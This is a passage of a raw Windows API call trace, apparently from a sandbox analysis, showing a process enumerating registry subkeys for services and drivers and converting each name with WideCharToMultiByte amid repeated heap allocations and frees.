lpUsedDefaultChar=0x0) returned 7 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.668] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.669] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0211.669] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0211.670] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0211.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0211.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0211.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0211.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 